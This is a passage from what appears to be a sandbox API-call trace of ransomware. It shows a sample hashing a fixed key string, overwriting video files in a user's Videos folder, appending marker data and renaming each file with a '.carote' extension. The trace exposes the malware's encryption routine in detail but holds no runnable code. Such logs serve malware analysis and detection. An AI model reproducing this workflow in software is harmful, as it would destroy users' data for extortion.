(lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.177] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.177] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.177] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.177] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0113.178] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.178] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.178] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.178] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.178] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.178] GetLastError () returned 0x0 [0113.178] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.178] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0113.178] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.178] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x2470) returned 0x7b182e0 [0113.179] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.179] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.179] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x246c, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x246c, lpOverlapped=0x0) returned 1 [0113.179] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.179] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2471, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.179] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.179] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.179] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.179] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.179] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.179] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.179] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.179] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.179] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.179] CloseHandle (hObject=0x61c) returned 1 [0113.180] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.180] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b182e0 [0113.180] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.180] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\9oEreISY0AXOhVGDhgFx.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\9oereisy0axohvgdhgfx.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\9oEreISY0AXOhVGDhgFx.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\9oereisy0axohvgdhgfx.flv.carote")) returned 1 [0113.180] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.181] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.181] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.181] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ac0140, ftCreationTime.dwHighDateTime=0x1d4d31e, ftLastAccessTime.dwLowDateTime=0x915d0a0, ftLastAccessTime.dwHighDateTime=0x1d4c8fe, ftLastWriteTime.dwLowDateTime=0x915d0a0, ftLastWriteTime.dwHighDateTime=0x1d4c8fe, nFileSizeHigh=0x0, nFileSizeLow=0x15ffa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9OFGdrKdAmwg60-tIlt.mp4", cAlternateFileName="9OFGDR~1.MP4")) returned 1 [0113.182] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0113.182] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.182] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0113.182] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\9OFGdrKdAmwg60-tIlt.mp4") returned=".mp4" [0113.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\9OFGdrKdAmwg60-tIlt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\9ofgdrkdamwg60-tilt.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.182] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=90106) returned 1 [0113.182] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.184] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.184] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.185] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.185] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x15ffa, lpOverlapped=0x0) returned 1 [0113.186] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.186] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.186] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.186] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.186] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0113.187] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.187] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.187] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.187] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.187] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.187] GetLastError () returned 0x0 [0113.187] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.187] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0113.187] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.187] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16000) returned 0x7b182e0 [0113.187] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.187] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.188] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x15ff5, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x15ff5, lpOverlapped=0x0) returned 1 [0113.188] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.188] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15ffa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.188] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.188] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.188] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.188] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.188] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.188] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.188] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.188] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.188] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.188] CloseHandle (hObject=0x61c) returned 1 [0113.189] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.189] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b182e0 [0113.189] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.190] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\9OFGdrKdAmwg60-tIlt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\9ofgdrkdamwg60-tilt.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\9OFGdrKdAmwg60-tIlt.mp4.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\9ofgdrkdamwg60-tilt.mp4.carote")) returned 1 [0113.190] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.190] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.191] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.191] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7283cae0, ftCreationTime.dwHighDateTime=0x1d4d20b, ftLastAccessTime.dwLowDateTime=0x1359ed90, ftLastAccessTime.dwHighDateTime=0x1d4cba5, ftLastWriteTime.dwLowDateTime=0x1359ed90, ftLastWriteTime.dwHighDateTime=0x1d4cba5, nFileSizeHigh=0x0, nFileSizeLow=0x6401, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Asw8FiPHMrVAks1Q.mkv", cAlternateFileName="ASW8FI~1.MKV")) returned 1 [0113.191] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0113.191] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.191] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0113.191] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\Asw8FiPHMrVAks1Q.mkv") returned=".mkv" [0113.191] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\Asw8FiPHMrVAks1Q.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\asw8fiphmrvaks1q.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.191] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=25601) returned 1 [0113.191] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.193] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x63db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.193] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.194] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.194] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.194] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.194] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x6401, lpOverlapped=0x0) returned 1 [0113.195] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.195] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.195] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.195] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.195] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0113.196] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.196] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.196] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.196] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.196] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.196] GetLastError () returned 0x0 [0113.196] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.196] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0113.196] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.196] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x6400) returned 0x7b182e0 [0113.196] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.196] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.196] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x63fc, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x63fc, lpOverlapped=0x0) returned 1 [0113.197] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.197] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x6401, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.197] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0113.197] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.197] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0113.197] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.197] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0113.197] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.197] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0113.197] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.197] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.197] CloseHandle (hObject=0x61c) returned 1 [0113.198] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.198] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0113.198] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.198] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\Asw8FiPHMrVAks1Q.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\asw8fiphmrvaks1q.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\Asw8FiPHMrVAks1Q.mkv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\asw8fiphmrvaks1q.mkv.carote")) returned 1 [0113.198] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.198] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.199] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.199] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff9e7e0, ftCreationTime.dwHighDateTime=0x1d4cae2, ftLastAccessTime.dwLowDateTime=0x88c9dab0, ftLastAccessTime.dwHighDateTime=0x1d4cef0, ftLastWriteTime.dwLowDateTime=0x88c9dab0, ftLastWriteTime.dwHighDateTime=0x1d4cef0, nFileSizeHigh=0x0, nFileSizeLow=0x73d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DaYAfKh5e.mkv", cAlternateFileName="DAYAFK~1.MKV")) returned 1 [0113.199] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0113.199] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xbe) returned 0x7a20998 [0113.199] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0113.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DaYAfKh5e.mkv") returned=".mkv" [0113.199] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DaYAfKh5e.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dayafkh5e.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.200] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=29655) returned 1 [0113.200] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.201] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x73b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.201] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.203] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.203] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.203] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.203] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x73d7, lpOverlapped=0x0) returned 1 [0113.203] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.203] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.203] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.203] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.203] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0113.204] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.204] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.204] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.204] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.204] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.204] GetLastError () returned 0x0 [0113.204] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.204] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0113.204] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.204] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, 